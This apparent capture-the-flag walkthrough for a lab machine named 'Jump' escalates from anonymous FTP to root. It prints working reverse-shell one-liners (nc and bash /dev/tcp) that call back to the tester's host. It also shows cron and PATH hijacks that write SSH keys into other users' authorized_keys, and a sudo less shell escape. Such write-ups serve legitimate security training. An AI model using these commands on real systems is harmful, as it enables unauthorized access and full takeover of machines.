

Jump (incomplete)

- Enumeration
 - Nmap Scan
 - SSH (22)
 - FTP (21)
- Getting Shell as recon_user
- Gaining Shell as dev_user
- Gaining Shell as monitor_user
- Gaining Shell as ops_user
- Gaining Shell as root

Enumeration

Nmap Scan

```
Filtering the open ports and services found...
{'21': 'ftp', '22': 'ssh'}

PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.5
| ftp-syst:
|   STAT:
| FTP server status:
|   Connected to ::ffff:192.168.133.254
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
|   Control connection is plain text
|   Data connections will be plain text
|   At session startup, client count was 2
|   vsFTPD 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxrwxrwx    2 115      123      4096 Apr 30 06:00 incoming [NSE: writeable]
|_drwxr-xr-x    5 115      123      4096 Feb 02 07:19 pub

22/tcp    open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 2e:63:f2:86:41:9b:68:c4:92:0a:bd:75:98:3e:3b:4b (ECDSA)
|_  256 64:c8:4d:d1:bd:59:09:f3:ea:d2:85:a8:33:c5:ae:ef (ED25519)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Linux 5.X|6.X|4.X (96%), Google Android 10.X|11.X|12.X (93%), Adtran embedded (92%)
OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:6 cpe:/o:linux:linux_kernel:4 cpe:/o:google:android:10 cpe:/o:google:android:11 cpe:/o:google:android:12 cpe:/h:adtran:424rg
Aggressive OS guesses: Linux 5.14 - 6.8 (96%), Linux 4.15 - 5.19 (96%), Linux 4.15 (96%), Linux 5.4 - 5.15 (96%), Android 10 - 12 (Linux 4.14 - 4.19) (93%), Adtran 424RG FTTH gateway (92%), Android 10 - 11 (Linux 4.9 - 4.14) (92%), Android 12 (Linux 5.4) (92%), Android 9 - 11 (Linux 4.9 - 4.14) (92%), Linux 2.6.32 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 3 hops
```

```
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

```
TRACEROUTE (using port 21/tcp)
```

```
HOP RTT      ADDRESS
```

```
1  57.72 ms 192.168.128.1
```

```
2  ...
```

```
3  57.83 ms jump.thm (10.49.187.67)
```

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/>.

Nmap done: 1 IP address (1 host up) scanned in 10.97 seconds

- FTP (21), SSH (22) ports are opened.
- Anonymous login enabled for FTP. Login and check for the files.
- SSH password authentication need to be checked.

SSH (22)

```
└─$ ssh root@jump.thm
```

```
The authenticity of host 'jump.thm (10.49.187.67)' can't be established.
```

```
ED25519 key fingerprint is: SHA256:GX55JIK86/7An3GCtXT0aIKAYvNmz00gWCajklTkImU
```

```
This key is not known by any other names.
```

```
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
```

```
Warning: Permanently added 'jump.thm' (ED25519) to the list of known hosts.
```

```
root@jump.thm: Permission denied (publickey).
```

- Password authentication is disabled.

FTP (21)

```
└─$ ftp -a jump.thm
```

```
Connected to jump.thm.
```

```
220 (vsFTPD 3.0.5)
```

```
331 Please specify the password.
```

```
230 Login successful.
```

```
Remote system type is UNIX.
```

```
Using binary mode to transfer files.
```

```
ftp> ls
```

```
229 Entering Extended Passive Mode (|||48004|)
```

```
150 Here comes the directory listing.
```

```
drwxrwxrwx    2 115      123          4096 Apr 30 06:00 incoming
```

```
drwxr-xr-x    5 115      123          4096 Feb 02 07:19 pub
```

- Two directories in the FTP share. Check all and copy important files.

```
ftp> cd pub
```

```
250 Directory successfully changed.
```

```
ftp> ls
```

```
229 Entering Extended Passive Mode (|||61772|)
```

```
150 Here comes the directory listing.
```

```
-rw-r--r--    1 0        0          139 Feb 02 07:19 README.txt
```

```
drwxr-xr-x    2 115      123          4096 Feb 01 11:12 archive
```

```
drwxrwxrwx    2 115      123          4096 Feb 01 11:12 incoming
```

```
drwxrwxrwx    2 115      123          4096 Feb 01 11:12 uploads
```

```
226 Directory send OK.
```

Copied the README.txt file to my system. Rest all the directories are empty.

```
└─$ cat README.txt
[ recon pipeline ]
```

All recon jobs must be placed in incoming/.
Files are processed automatically on arrival.
Invalid formats are ignored.

So all the files need to be uploaded in the incoming directory. But which one of the two, that I have to figure out. And which file I need to place, that also I have to figure out.

Getting Shell as recon_user

I made a file with the content as the reverse shell.

```
└─$ cat rev.sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.133.254 4444 >/tmp/f
```

I then uploaded this file in both the incoming folders using the put command.

```
ftp> put rev.sh
local: rev.sh remote: rev.sh
229 Entering Extended Passive Mode (|||32512|)
150 Ok to send data.
100% |*****
*****|      83      262.31 KiB/s    00:00 ETA
226 Transfer complete.
83 bytes sent in 00:00 (0.67 KiB/s)
```

And then I opened the Netcat listener at port 4444.

After a while I got the shell as recon_user .

```
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.133.254] from (UNKNOWN) [10.49.187.67] 43554
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(recon_user) gid=1001(recon_user) groups=1001(recon_user),1002(dev_user),1005(devops)
$ whoami
recon_user
$
```

```
$ ls
flag.txt
shell.sh
```

We see the flag here. And the other file is a script.

```
$ cat shell.sh
#!/bin/bash
bash -i >& /dev/tcp/10.82.94.208/4444 0>&1
```

A reverse shell file with a IP address. Not sure if it is of use or not.

For a stable shell using SSH, I have to generate RSA key-pair and then copy it to the target machine in the designated file.

```
$ cat scan_uploads.sh
#!/bin/bash
shopt -s nullglob
for f in /srv/ftp/incoming/*.sh; do
    /bin/bash "$f" &
    sleep 5
    # rm -f "$f"
done
```

This is the file that gave us the initial reverse shell.

```
$ crontab -l
* * * * * /bin/bash /opt/recon/scan_uploads.sh
```

Cronjobs set for this file to run every minute.

```
$ ls -la
total 16
drwxr-xr-x 2 recon_user recon_user 4096 Feb  2 07:18 .
drwxr-xr-x 5 root        root        4096 Feb  2 10:03 ..
-rwxr-xr-x 1 root        root          80 Feb  2 06:57 process.sh
-rwxr-xr-x 1 recon_user recon_user  114 Feb  2 07:14 scan_uploads.sh
```

The other file, process.sh, owned by root is of use.

```
$ ./process.sh
process.sh scan_uploads.sh
$ cat process.sh
#!/bin/bash
/bin/bash /srv/ftp/incoming/* 2>/dev/null
rm -f /srv/ftp/incoming/*
```

I ran the command mentioned in this file to confirm if it works. The initially uploaded reverse shell file, I changed its content with `ls`. And it did work.

```
$ cat rev.sh
ls
$ cd /opt
$ /bin/bash /srv/ftp/incoming/*
app dev recon
```

Gaining Shell as dev_user

Checking for files with SUID bit set and owner being `dev_user`. → No such files.

```
$ id
uid=1001(recon_user) gid=1001(recon_user) groups=1001(recon_user),1002(dev_user),1005(devops)
```

A member of the `dev_user` group and `devops` group. Finding files which are owned by users in these groups.

```
$ cd /opt
$ ls -la
total 20
drwxr-xr-x  5 root        root        4096 Feb  2 10:03 .
drwxr-xr-x 22 root        root        4096 May 22 14:31 ..
drwxr-xr-x  3 ops_user    ops_user   4096 Feb  2 15:09 app
```

```
drwxrwxr-x 3 dev_user dev_user 4096 Feb 2 11:03 dev
drwxr-xr-x 2 recon_user recon_user 4096 Feb 2 07:18 recon
```

`dev` directory owned by `dev_user`. `app` directory owned by `monitor_user`

The dev directories:

```
$ ls -laR
.:
total 16
drwxrwxr-x 3 dev_user dev_user 4096 Feb 2 11:03 .
drwxr-xr-x 5 root      root      4096 Feb 2 10:03 ..
-rwxrwxr-x 1 dev_user dev_user 232 Apr 26 18:39 backup.sh
drwxr-xr-x 2 dev_user dev_user 4096 Apr 26 18:19 bin
```

```
./bin:
total 12
drwxr-xr-x 2 dev_user dev_user 4096 Apr 26 18:19 .
drwxrwxr-x 3 dev_user dev_user 4096 Feb 2 11:03 ..
-rw-rw-r-- 1 dev_user dev_user 62 Apr 26 18:19 ps
```

```
$ cat backup.sh
#!/bin/bash
tar -czf /tmp/recon_backup.tgz /home/recon_user
bash -i >& /dev/tcp/10.82.84.138/5556 0>&1
bash -i >& /dev/tcp/10.82.84.138/5556 0>&1
bash -i >& /dev/tcp/10.82.84.138/5556 0>&1
bash -i >& /dev/tcp/10.82.84.138/5556 0>&1

$ cat bin/ps
#!/bin/bash
setsid bash -i >& /dev/tcp/10.82.84.138/5557 0>&1
```

backup.sh - creates a compressed file of the files in the recon_user folder and stores it in tmp directory.

Being in the dev_user group, I can edit the backup.sh file. Adding a reverse shell command to the file and waiting to get the reverse shell. (Running it manually will give me shell as recon_user).

```
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.133.254] from (UNKNOWN) [10.49.187.67] 39814
bash: cannot set terminal process group (3509): Inappropriate ioctl for device
bash: no job control in this shell
dev_user@tryhackme-2404:~$
```

Now doing the same thing to get a stable shell (uploading RSA public key and then login to SSH using the private key).

```
$ crontab -l
...

* * * * * /bin/bash /opt/dev/backup.sh
```

```
dev_user@tryhackme-2404:~$ find / -user monitor_user 2>/dev/null
/opt/app/data
/opt/app/deploy_helper.sh
/usr/local/bin/healthcheck
```

```
/home/monitor_user  
/var/log/monitor.log
```

Gaining Shell as monitor_user

In the /var/log/monitor.log, I found this line:

```
monitor+ 40783 0.0 0.0 2800 1664 ? Ss 09:02 0:00 /bin/sh -c PATH=/home/dev_  
user/bin:/usr/local/bin:/usr/bin /usr/local/bin/healthcheck >> /var/log/monitor.log 2>&1
```

monitor_user is running this command. The PATH specified here is of no use as the healthcheck binary is ran using the full path. This binary is also owned by monitor_user (also found above).

```
dev_user@tryhackme-2404:/opt/app$ ls -l /usr/local/bin/healthcheck  
-rwxr-xr-x 1 monitor_user monitor_user 98 Apr 29 10:35 /usr/local/bin/healthcheck
```

Only read and execution permission, as dev_user.

```
dev_user@tryhackme-2404:/var/log$ cat /usr/local/bin/healthcheck  
#!/bin/bash  
echo "Running as: $(whoami)"  
while true; do  
    ps aux | grep -v grep  
    sleep 5  
done
```

The PATH mentioned in the command: `PATH=/home/dev_user/bin:/usr/local/bin:/usr/bin` I can access the '/home/dev_user directory' as I am the user. So, I can create a 'bin' directory there and make a custom `ps` file with the execution permission. While running the healthcare script, this PATH will be used.

```
dev_user@tryhackme-2404:~/bin$ cat ps  
#!/bin/bash  
#setsid bash -i >& /dev/tcp/10.82.84.138/5557 0>&1  
id
```

I copied the /opt/dev/bin/ps to this directory. First I will manually run the healthcare Bash script.

```
dev_user@tryhackme-2404:~/bin$ /usr/local/bin/healthcheck  
Running as: dev_user  
uid=1002(dev_user) gid=1002(dev_user) groups=1002(dev_user),1005(devops)  
uid=1002(dev_user) gid=1002(dev_user) groups=1002(dev_user),1005(devops)  
^C
```

Let's try it with the complete command.

```
dev_user@tryhackme-2404:~/bin$ /bin/sh -c PATH=/home/dev_user/bin:/usr/local/bin:/usr/bin /us  
r/local/bin/healthcheck  
dev_user@tryhackme-2404:~/bin$
```

It didn't work. The problem? `-c` after /bin/sh. The shell interprets `PATH=/home/dev_user/bin:/usr/local/bin:/usr/bin` as the command to execute, and `/usr/local/bin/healthcheck` becomes `$0` (the shell's positional parameter name), not a command to run.

For it to work, the command should be `/bin/sh -c 'PATH=/home/dev_user/bin:/usr/local/bin:/usr/bin /usr/local/bin/healthcheck'`

```
dev_user@tryhackme-2404:~/bin$ cat /etc/systemd/system/healthcheck.  
healthcheck.service healthcheck.timer
```


There are these two files.

```
dev_user@tryhackme-2404:~/bin$ cat /etc/systemd/system/healthcheck.service
[Unit]
Description=System Health Check

[Service]
Type=simple
User=monitor_user
Environment=PATH=/opt/dev/bin:/usr/local/bin:/usr/bin
ExecStart=/usr/local/bin/healthcheck
```

Path environment contains /opt/dev/bin. So making changes to that file.

```
dev_user@tryhackme-2404:/home$ cat /etc/systemd/system/healthcheck.timer
[Unit]
Description=Run healthcheck every minute

[Timer]
OnBootSec=30
OnUnitActiveSec=60
Persistent=true

[Install]
WantedBy=timers.target
```

Runs every minute.

I can exploit it in the following manner:

```
dev_user@tryhackme-2404:~/bin$ cat /opt/dev/bin/ps
#!/bin/bash

#setsid bash -i >& /dev/tcp/10.82.84.138/5557 0>&1

mkdir -p /home/monitor_user/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQCAQCd+TsDyRIUfz12rD5LQxkoRpY9nfG7cydbE3LAuUDMLZtDl1l
hYkfI8bNDoingFXN1sNl6Xv1+Fev0K6C9y9y/7rw9m1L/I0QTCAmchonbjBpywiJ30Khb8mw50JMSklU1YuxGidXJpph1
Cp0A1JmXdUy/U0fYFHk+7+umBiNx8/P0cQVxYExeDDvdYpdCYikk7YC7sgApp10vx8iCTgR/3fBkKvf8e8vbL0Ux4aWDR
HrPAT0uT53hmK0b057554W1ZUyMahBCT8T5N/8Bh09DAX3WpNwj cWxlK0HzmIKFbe0gWkpp3LRzhgYvZHdhRR0WJ4Wl1D
dAQ5sxGAQE5JdV/8kVieljpiy06magSs4Fjp34nnqfjeEMgwK7Xg4pfuxWT3bJIWa+rJ7pvpoJi18n2G9bPYSi4F0jzrN
7WklrFi10KsQWszhhKSU3I/3SaqAIC212eqsDfJDQIT5GLw2mX0XQcvom+b2HMsQcyZc06xZt2jGSb9n+G6tnpvLJ50Ah
lN/enVeLkfBVHMoT0l8DLt/VfrQNzGaa9g9Z0TnNLlfCDsxIbxHh65+8v+UtLpNwdFa0fRnKlNCqKes83hCg2W5pHZvk2
WosGUf6D6S3JJzebrSG99gZTAc429ESf8fxcjmQJqW+t4ByH0k5BW3hgifC9ACh4RS6HR46CERsxw== kali@kali" >
/home/monitor_user/.ssh/authorized_keys

chmod 700 /home/monitor_user/.ssh
chmod 600 /home/monitor_user/.ssh/authorized_keys
```

Setting us SSH keys for the monitor_user.

Don't forget to give execution permission to the `ps` file.

```
└─$ ssh -i id_rsa_mon monitor_user@jump.thm
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.17.0-1013-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
```



```
* Support:      https://ubuntu.com/pro

...

$ id
uid=1003(monitor_user) gid=1003(monitor_user) groups=1003(monitor_user)
$ whoami
monitor_user
```

Got access to monitor_user. Now, onto the ops_user

Gaining Shell as ops_user

```
$ cd app
$ ls -la
total 16
drwxr-xr-x 3 ops_user ops_user 4096 Feb  2 15:09 .
drwxr-xr-x 5 root     root     4096 Feb  2 10:03 ..
drwxrwxr-x 2 monitor_user monitor_user 4096 Feb  2 15:09 data
-rwxr-xr-x 1 monitor_user monitor_user  90 Feb  2 14:59 deploy_helper.sh
```

```
monitor_user@tryhackme-2404:/opt/app$ cat deploy_helper.sh
#!/bin/bash
echo "[+] Deploy helper running"
echo "[+] Syncing application files"
sleep 2
```

Also:

```
monitor_user@tryhackme-2404:/opt/app$ sudo -l
Matching Defaults entries for monitor_user on tryhackme-2404:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, env_keep+=LESS

User monitor_user may run the following commands on tryhackme-2404:
    (ops_user) NOPASSWD: /usr/local/bin/deploy.sh

monitor_user@tryhackme-2404:/opt/app$ cat /usr/local/bin/deploy.sh
#!/bin/bash
cd /opt/app 2>/dev/null
./deploy_helper.sh

monitor_user@tryhackme-2404:/opt/app$ ls -l /usr/local/bin/deploy.sh
-rwxr-xr-x 1 ops_user ops_user 55 Feb  2 10:12 /usr/local/bin/deploy.sh
```

deploy.sh is owned by ops_user. As monitor_user, I do not have writing permission. This bash file runs the deploy_helper.sh file, to which I have the writing permissions as monitor_user owns the file.

```
monitor_user@tryhackme-2404:/opt/app$ sudo -u ops_user /usr/local/bin/deploy.sh
[+] Deploy helper running
[+] Syncing application files
```

I will be adding a couple of lines in the deploy_helper.sh file


```

monitor_user@tryhackme-2404:/opt/app$ cat deploy_helper.sh
#!/bin/bash
echo "[+] Deploy helper running"
echo "[+] Syncing application files"
mkdir -p /home/ops_user/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQCAQCd+TsDyRIUfz12rD5LQxkoRpY9nfG7cydbE3LAuUDMLZtDl1l
hYkfI8bNDoinqFXN1sNl6Xv1+Fev0K6C9y9y/7rw9m1L/I0QTCAmchonbjBpywiJ30Khb8mw50JMSklU1YuxGidXJpph1
Cp0A1JmXdUy/U0fYFHk+7+umBiNx8/P0cQVxYExeDDvdYpdCYikk7YC7sgApp10vx8iCTgR/3fBkKvf8e8vbL0Ux4aWDR
HrPAT0uT53hmK0b057554W1ZUyMahBCT8T5N/8Bh09DAX3WpNwjCWxlK0HzmIKFbe0gWkpp3LRzhgYvZHdhRR0WJ4Wl1D
dAQ5sxGAQE5JdV/8kVieljpiy06magSs4Fjp34nnqfjeEMgwK7Xg4pfuxWT3bJIWa+rJ7pvpoJi18n2G9bPYSi4F0jzrN
7WklrFi10KsQWszhhKSU3I/3SaqAIC212eqsDfJDQIT5GLw2mX0XQcvom+b2HMsQcyZc06xZt2jGSb9n+G6tnpvLJ50Ah
lN/enVeLkfBVHMoT0l8DLt/VfrQNzGaa9g9Z0TnNLlfCDsxIbxHh65+8v+UtLpNwdFa0fRnKlNCqKes83hCg2W5pHZvk2
WosGUf6D6S3JJzebrSG99gZTAc429ESf8fxcjmQJqW+t4ByH0k5BW3hgifC9ACh4RS6HR46CERsxw== kali@kali" >
/home/ops_user/.ssh/authorized_keys

chmod 700 /home/ops_user/.ssh
chmod 600 /home/ops_user/.ssh/authorized_keys
sleep 2

```

Running the deploy.sh file, using sudo and then SSH logging in into the ops_user

```

└─$ ssh -i id_rsa ops_user@jump.thm
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.17.0-1013-aws x86_64)

...

$ id
uid=1004(ops_user) gid=1004(ops_user) groups=1004(ops_user)

```

Gaining Shell as root

```

ops_user@tryhackme-2404:~$ sudo -l
Matching Defaults entries for ops_user on tryhackme-2404:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin
\:/sbin\:/bin\:/snap/bin, use_pty, env_keep+=LESS

User ops_user may run the following commands on tryhackme-2404:
    (root) NOPASSWD: /usr/bin/less

```

A simple privilege escalation technique.

```

ops_user@tryhackme-2404:~$ sudo less flag.txt
(Write !/bin/sh and press ENTER)
# id
uid=0(root) gid=0(root) groups=0(root)
#

```